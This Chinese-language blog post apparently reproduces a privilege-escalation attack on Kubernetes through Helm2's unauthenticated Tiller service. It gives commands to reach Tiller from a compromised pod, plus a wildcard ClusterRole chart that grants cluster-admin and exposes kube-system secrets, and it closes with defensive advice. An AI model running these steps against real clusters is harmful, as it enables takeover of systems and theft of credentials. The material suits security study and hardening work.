参考http://rui0.cn/archives/1573

英文文章 https://blog.ropnop.com/attacking-default-installs-of-helm-on-kubernetes/


(资料图)

集群后渗透测试资源https://blog.carnal0wnage.com/2019/01/kubernetes-master-post.html

Helm介绍:

Kubernetes是一个强大的容器调度系统,通常我们会使用一些声明式的定义来在Kubernetes中部署业务。但是当我们开始部署比较复杂的多层架构时,事情往往就会没有那么简单,在这种情况下,我们需要编写和维护多个YAML文件,同时在编写时需要理清各种对象和层级关系。这是一个比较麻烦的事情,所以这个时候Helm出现了。

我们熟悉的Python通过pip来管理包,Node.js使用npm管理包。那么在Kubernetes,我们可以使用Helm来管理。它降低了使用Kubernetes的门槛,对于开发者可以很方便的使用Helm打包,管理依赖关系,使用者可以在自己的Kubernetes通过Helm来一键部署所需的应用。对于Helm本身可以研究的安全风险可以从很多角度来看比如Charts,Image等,详细的内容可以来看CNCF webinars关于Helm Security的一个分享(https://www.cncf.io/webinars/helm-security-a-look-below-deck/)本篇文章主要讨论的是Helm2的安全风险,因为在Helm2开发的时候,Kubernetes的RBAC体系还没有建立完成,Kubernetes社区直到2017年10月份v1.8版本才默认采用了RBAC权限体系,所以Helm2的架构设计是存在一定安全风险的。

Helm3是在Helm2之上的一次大更改,于2019年11月份正式推出,同时Helm2开始退出历史舞台,到2020年的11月开始停止安全更新。但是目前网络上主流依然为关于Helm2的安装配置文章,所以我们这里将对使用Helm2可能造成的安全风险进行讨论。

Helm2架构

Helm2是CS架构,包括客户端和服务端,即Client和Tiller

Helm Client主要负责跟用户进行交互,通过命令行就可以完成Chart的安装、升级、删除等操作。在收到前端的命令后就可以传输给后端的Tiller使之与集群通信。其中Tiller是Helm的服务端主要用来接收Helm Client的请求,它们的请求是通过gRPC来传输。实际上它的主要作用就是在Helm2和Kubernetes集群中起到了一个中间人的转发作用,Tiller可以完成部署Chart,管理Release以及在Kubernetes中创建应用。官方在更新到Helm3中这样说过:

从kubernetes 1.6开始默认开启RBAC。这是Kubernetes安全性/企业可用的一个重要特性。但是在RBAC开启的情况下管理及配置Tiller变的非常复杂。为了简化Helm的尝试成本我们给出了一个不需要关注安全规则的默认配置。但是,这会导致一些用户意外获得了他们并不需要的权限。并且,管理员/SRE需要学习很多额外的知识才能将Tiller部署的到关注安全的生产环境的多租户K8S集群中并使其正常工作。

所以通过我们了解在Helm2这种架构设计下Tiller组件通常会被配置为非常高的权限,也因此会造成安全风险。

对外暴露端口拥有和Kubernetes通信时的高权限(可以进行创建,修改和删除等操作)

因此对于目前将使用Helm的人员请安装Helm3,对于Helm2的使用者请尽快升级到Helm3。针对Helm3,最大的变化就是移除掉Tiller,由此大大简化了Helm的安全模型实现方式。Helm3现在可以支持所有的kubernetes认证及鉴权等全部安全特性。Helm和本地的kubeconfig flie中的配置使用一致的权限。管理员可以按照自己认为合适的粒度来管理用户权限。

安全风险复现配置Helm2

参考https://www.cnblogs.com/keithtt/p/13171160.html

官方文档有helm2的快速安装https://v2.helm.sh/docs/using_helm/#special-note-for-rbac-users

1、使用二进制安装包安装helm客户端

wget https://get.helm.sh/helm-v2.16.9-linux-amd64.tar.gztar xvf helm-v2.16.9-linux-amd64.tar.gzcd linux-amd64cp-a helm/usr/local/bin/

2、设置命令行自动补全

echo"source <(helm completion bash)">> ~/.bashrc

3、安装tiller服务端

创建服务账户ServiceAccount:

由于目前K8s都默认启用基于角色的访问控制RBAC,因此,需要为TillerPod创建一个具有正确角色和资源访问权限的ServiceAccount,参考https://v2.helm.sh/docs/using_helm/#special-note-for-rbac-users以及https://blog.ropnop.com/attacking-default-installs-of-helm-on-kubernetes/

Tiller Pod需要提升权限才能与Kubernetes API通信,对服务账户权限的管理通常很棘手且被忽视,因此启动和运行的最简单方法是为Tiller创建一个具有完整集群官员权限的服务账户。

要创建具有cluster-admin权限的ServiceAccount,在YAML中定义一个新的ServiceAccount和ClutserRoleBinding资源文件:

这个操作创建了名为tiller的ServiceAccount,并生成一个secrets token认证文件,为该账户提供完整的集群管理员权限。

# 创建名为tiller的ServiceAccount 并绑定搭配集群管理员 cluster-adminapiVersion: v1kind: ServiceAccountmetadata:name: tillernamespace: kube-system---apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata:name: tillerroleRef:apiGroup: rbac.authorization.k8s.iokind: ClusterRolename: cluster-adminsubjects:-kind: ServiceAccountname: tillernamespace: kube-system# 创建kubectlapply-f helm-rbac.yam

4、初始化Helm

使用新ServiceAccount服务账号初始化Helm,

--tiller-image指定使用的 Tiller 镜像

--stable-repo-url string指定稳定存储库的 URL(默认为 "https://kubernetes-charts.storage.googleapis.com"),这里指定了 Azure 中国的 Helm 仓库地址来加速 Helm 包的下载。

helm init --service-account tiller --tiller-image=registry.cn-hangzhou.aliyuncs.com/google_containers/tiller:v2.16.6 --stable-repo-url http://mirror.azure.cn/kubernetes/chartskubectl get deployment tiller-deploy -n kube-systemhelm versionClient: &version.Version{SemVer:"v2.16.9", GitCommit:"8ad7037828e5a0fca1009dabe290130da6368e39", GitTreeState:"clean"}Server: &version.Version{SemVer:"v2.16.6", GitCommit:"dd2e5695da88625b190e6b22e9542550ab503a47", GitTreeState:"clean"}

这个命令会设置客户端,并且在kube-system命名空间中为Tiller创建deployment和service,标签为label app=helm

kubectl-n kube-system getall-l"app=helm"

也可以查看Tiller deployment被设定为集群管理员服务账号tiller,命令:

kubectl-n kube-system get deployments-l"app=helm"-o jsonpath="{.items[0].spec.template.spec.serviceAccount}"

5、添加repo,这里需要更改为可用的镜像源

1)官方镜像源为https://charts.helm.sh/stable

配置官方镜像源命令: helm repo add stablehttps://charts.helm.sh/stable

2)GitPage镜像:参考https://github.com/BurdenBear/kube-charts-mirror搭建一个自主可控的镜像源 (参考2http://charts.ost.ai/)

3)Aliyun镜像:长时间未更新,版本较旧

helm repo add stable  https://kubernetes.oss-cn-hangzhou.aliyuncs.com/charts/

4)Azure镜像源(有博客说2021.7.8已不可用,但亲测可用)

helm repo add stable http://mirror.azure.cn/kubernetes/charts/helm repo add incubator http://mirror.azure.cn/kubernetes/charts-incubator/

这里用Azure的镜像源(阿里镜像源过于老,只支持 extensions/v1beta1 版本的 Deployment 对象)

helm repo add stable http://mirror.azure.cn/kubernetes/charts/# 查看repo配置列表helm repo list

6、更新repo

helm repo update

7、安装一个app

helm install stable/nginx-ingress--name nginx-ingress--namespace nginx-ingresshelm install stable/owncloud--name owncloud--namespace owncloudhelm ls-a

8、删除一个app

helm delete--purge owncloud

9、卸载helm(tiller)

helm reset--forcekubectl delete service/tiller-deploy-n kube-systemkubectl delete deployment.apps/tiller-deploy-n kube-system
创建应用

上面成功安装Helm2之后,可以看到Tiller已被部署到Kube-system的命名空间下

通过Helm来部署应用,helm install stable/tomcat --name my-tomcat

在没有使用其他flag时,Tiller将所有资源部署到default命名空间中,–name字段将作为release标签应用到资源上,因此可以使用 kubectl get all -l "release=my-tomcat" 这个命令查看Helm部署的名为my-tomcat的所有资源

Helm通过LoadBalancer服务为我们暴露端口,因此我们如果访问列出的EXTERNAL-IP,可以看到tomcat启动并运行

查看部署情况

模拟入侵

针对集群内的攻击,模拟Tomcat服务被入侵,攻击者拿到了容器的控制权。

通过exec进入容器内:kubectl exec -it my-tomcat-b976c48b6-rfzv8 -- /bin/bash

登录shell后,有几个指标可以快速判断这是一个运行在K8s集群上的容器:

/.dockerenv文件存在,说明我们在Docker容器里有几个Kubernetes相关的环境变量

集群后渗透利用有个很好的总结可以参考 https://blog.carnal0wnage.com/2019/01/kubernetes-master-post.html

在k8s环境下的渗透,通常会首先看其中的环境变量,获取集群的相关信息,服务位置以及一些敏感配置文件

了解了k8s API等位置后我们可以通过curl等方式去尝试请求,看是否配置授权,是403禁止匿名访问的;即使我们可以和Kubernetes API交互,但是因为RBAC启用,我们无法获取任何信息

服务侦查

默认情况下,k8s使用kube-dns,查看/etc/resolv.conf可以看到此pod配置使用kube-dns。因为kube-dns中的DNS名遵循这个格式:..svc.cluster.local

利用这个域名解析,我们能够找到其他一些服务,虽然我们在default命名空间中,但重要的是namespace不提供任何安全保障,默认情况下,没有阻止跨命名空间通信的网络策略。

这里我们可以查询在kube-system命名空间下运行的服务,如kube-dns服务本身:注意我们使用的是getent查询域名,因为pod中可能没安装任何标准的dns工具。

$ getent hosts kube-dns.kube-system.svc.cluster.local10.96.0.10      kube-dns.kube-system.svc.cluster.local

通过DNS枚举其他namespace下正在运行的服务。Tiller在命名空间kube-system中如何创建服务的?它默认名称为tiller-deploy,如果我们用DNS查询可以看到存在的位置。

很好,Tiller安装在了集群中,如何滥用它呢

了解Helm与K8s集群通信方式

Helm 与 kubernetes 集群通信的方式是通过 gRPC 与tiller-deploypod 通信。然后,pod 使用其服务帐户token与 Kubernetes API 通信。当客户端运行Helm命令时,实际上是通过端口转发到集群中,直接与tiller-deployService通信该Service始终指向TCP 44134 上的tiller-deployPod这种方式可以让Helm命令直接与Tillerr-deploy Pod进行交互,而不必暴露K8s API的直接访问权限给Helm客户端。

也就是说,集群外的用户必须有能力转发访问到集群的端口,因为TCP 44134端口无法从集群外部访问。

然而,对于在K8s集群内的用户而言,44134 TCP端口是可访问的,不用端口转发。

用curl验证端口是否打开: curl tiller-deploy.kube-system.svc.cluster.local:44134

curl失败,但能connect成功连接,因为此端点是与gRPC通信,而不是HTTP。

目前已知我们可以访问端口,如果我们可以发送正确的信息,则可以直接与Tiller通信,因为默认情况下,Tiller不需要进行任何身份验证就可以与gRPC通信。在这个默认安装中Tiller以集群管理员权限运行,基本上可以在没有任何身份验证的情况下运行集群管理命令。

与Tiller通过gRPC通信

所有 gRPC 端点都以Protobuf 格式在源代码中定义,因此任何人都可以创建客户端来与 API 通信。但是与 Tiller 通信的最简单方法就是通过普通的 Helm 客户端,它无论如何都是静态二进制文件。

在pod 上,我们可以helm从官方版本下载二进制文件。下载并解压到 /tmp:注意可能需要指定下载特定版本。

Helm 提供了 --host 和 HELM_HOST 环境变量选项,可以指定直接连接到 Tiller 的地址。通过使用 Tiller-deploy Service 的完全限定域名(FQDN),我们可以直接与 Tiller Pod 进行通信并运行任意 Helm 命令。

./helm --host tiller-deploy.kube-system.svc.cluster.local:44134 ls

这样我们可以完全控制Tiller,可以做cluster-admin可以用Helm做的任何事情。包括安装 升级 删除版本。但我们仍然不能直接与K8s API通信,所以我们需要滥用Tiller来升级权限成为完整的cluster-admin

针对Helm-Tiller攻击

1、首先通过DNS查看是否存在Tiller服务。为了交互,Tiller的端口会被开放到集群内,根据命名规则我们可以尝试默认Tiller的名称

curl tiller-deploy.kube-system:44134 --output out

可以看到端口是开放的,不过因为连接时通过gRPC的方式交互,所以使用HTTP无法连接。同时在这种情况下我们可以连接Tiller,通过它可以在没有身份验证的情况下执行k8s内的操作

我们可以通过gRPC方式使用Protobuf格式来与其交互,但是过于麻烦。

这里最简单的方式是我们通过Client直接与Tiller连接

2、下载helm客户端到tmp目录下:

wgethttps://get.helm.sh/helm-v2.16.9-linux-amd64.tar.gz && tar xvf helm-v2.16.9-linux-amd64.tar.gz

尝试请求tiller:./helm --host tiller-deploy.kube-system:44134 version

连接成功

这意味着我们可以做很多事情。

一个较为麻烦的方式是:比如窃取高权限用户的token,因为我们可以控制tiller意味着我们可以使用这个权限的账户来创建pod,从而获取创建pod后,能够获取到创建pod的token。挂载在pod内路径下/var/run/secrets/kubernetes.io/serviceaccount/token。这个token在创建对应pod时被挂载,可以利用这个token完成对k8s的交互。

更加简单粗暴的方式:

1)先下载一个kubectl方便后期交互

查看当前权限可以做的事情 kubectl auth can-i --list

2)查看当前权限能否读取secrets

./kubectl get secrets -n kube-system

看到目前权限不够,我们想要获取到整个集群的权限,即我们希望有一个可以访问所有namespace的ServiceAccount。我们可以把default这个SA赋予ClutsterRole RBAC中的全部权限。

3、这时候需要使用ClusterRole和ClusterRoleBinding这两种对象

ClusterRoleClusterRole对象可以授予整个集群范围内资源访问权限, 也可以对以下几种资源的授予访问权限:集群范围资源(例如节点,即node)非资源类型endpoint(例如”/healthz”)跨所有namespaces的范围资源(例如pod,需要运行命令kubectl get pods –all-namespaces来查询集群中所有的pod)ClusterRoleBindingClusterRoleBinding在整个集群级别和所有namespaces将特定的subject与ClusterRole绑定,授予权限。

创建两个资源:

apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRolemetadata:  name: all-your-baserules:  - apiGroups: ["*"]    resources: ["*"]    verbs: ["*"]---apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata:  name: belong-to-usroleRef:  apiGroup: rbac.authorization.k8s.io  kind: ClusterRole  name: all-your-basesubjects:  - kind: ServiceAccount    namespace: {{ .Values.namespace }}    name: {{ .Values.name }}

将它们生成为对应的chart,并下载到被攻击的容器中,之后使用Client进行安装,配置之后便可以进行高权限操作

4、生成charts并安装的过程:

在 Helm 中,可以使用helm create命令创建一个新的 Chart,并使用helm package命令将 Chart 打包成一个.tgz文件,可以在其他机器上使用helm install命令来安装该 Chart。

以下是一个简单的示例,演示如何创建一个名为mychart的 Chart 并将其打包:

创建 Chart,该命令将会在当前目录下创建一个 mychart 目录,包含 Chart 所需的模板和示例文件。

在命令行中执行以下命令,创建一个名为mychart的 Chart:$ helm create mychart

修改 Chart

mychart目录中,可以根据需要修改Chart.yamlvalues.yamltemplates目录中的模板文件,以定义 Chart 所包含的应用程序、服务和资源等。

打包 Chart,该命令将会在当前目录下生成一个名为 mychart-x.x.x.tgz 的文件,其中 x.x.x 表示 Chart 的版本号。

在命令行中执行以下命令,将 Chart 打包成一个.tgz文件:$ helm package mychart

下载 Chart:$ helm install mychart mychart-x.x.x.tgz

可以将生成的 .tgz 文件复制到其他机器上,然后使用 helm install 命令来安装 Chart。例如,执行以下命令将 Chart 安装到 Kubernetes 集群中;

其中 mychart 是 Chart 的名称,mychart-x.x.x.tgz 是 Chart 打包后的文件名。

直接使用https://github.com/Ruil1n/helm-tiller-pwn这里打包好的文件就行

如果有报错提示,需要修改charts打包文件中的模板内容,为支持的版本

错误提示通常是由于 Kubernetes API Server 不支持rbac.authorization.k8s.io/v1beta1版本的 ClusterRole 和 ClusterRoleBinding 对象引起的。

这是因为从 Kubernetes 1.22 开始,rbac.authorization.k8s.io/v1beta1版本的 ClusterRole 和 ClusterRoleBinding 已经被废弃,并在 Kubernetes 1.22 版本中已经完全删除。

./helm --host tiller-deploy.kube-system:44134 install pwnchart

可以看到我们提升权限成功,现在已经能够获取到kube-system下的secrets,同时可以进行其他操作。

总结

Helm简化了Kubernetes应用的部署和管理,越来越多的人在生产环境中使用它来部署和管理应用。Helm3是在Helm2之上的一次大更改,主要就是移除了Tiller。由于Helm2基本是去年(2020)年末才完全停止支持,目前仍有大量开发者在使用,所以依旧存在大量安全风险。本文主要从集群内攻击的角度来展示了使用Tiller获取Kubernetes的高权限并且完成敏感操作。最后我们来说一下如何防御,如果你坚持希望使用Tiller,那么请一定要注意不要对外开放端口,同时配置TLS认证以及严格的RBAC认证(https://github.com/michelleN/helm-tiller-rbac)。这里更建议大家尽快升级Helm2到Helm3以及直接使用Helm3。

推荐内容